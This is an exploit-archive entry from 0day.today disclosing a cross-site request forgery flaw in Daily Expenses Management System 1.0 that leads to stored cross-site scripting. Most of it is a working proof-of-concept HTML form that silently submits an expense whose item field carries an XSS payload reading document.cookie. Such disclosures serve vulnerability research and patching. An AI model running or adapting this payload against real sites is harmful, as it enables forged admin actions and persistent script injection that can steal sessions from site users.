Daily Expenses Management System 1.0 Cross SIte Request Forgery Vulnerability

2020-08-06T00:00:00
ID 1337DAY-ID-34797
Type zdt
Reporter Edo Maland
Modified 2020-08-06T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            # Exploit Title: Daily Expenses Management System 1.0  - Cross-Site Request Forgery
# Exploit Author: Edo Maland
# Vendor Homepage: https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html
# Software Link:  https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html
# Version: 1.0
# Tested on: XAMPP / Windows 10

# Vulnerability Details
# Description :  Cross-Site Request Forgery Lead to Persistent Cross-Site Scripting (CSRF to XSS Stored)

# POC

An attacker can force the admin to add a product

URL : https://example.com/dets/manage-expense.php
  - Feature : Add Expense


# CSRF HTML

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://example.com/dets/add-expense.php" method="POST">
      <input type="hidden" name="dateexpense" value="2020-08-12" />
      <input type="hidden" name="item" value="<img src=xss onerror=alert(document.cookie)>" />
      <input type="hidden" name="costitem" value="1337" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

#  0day.today [2020-08-10]  #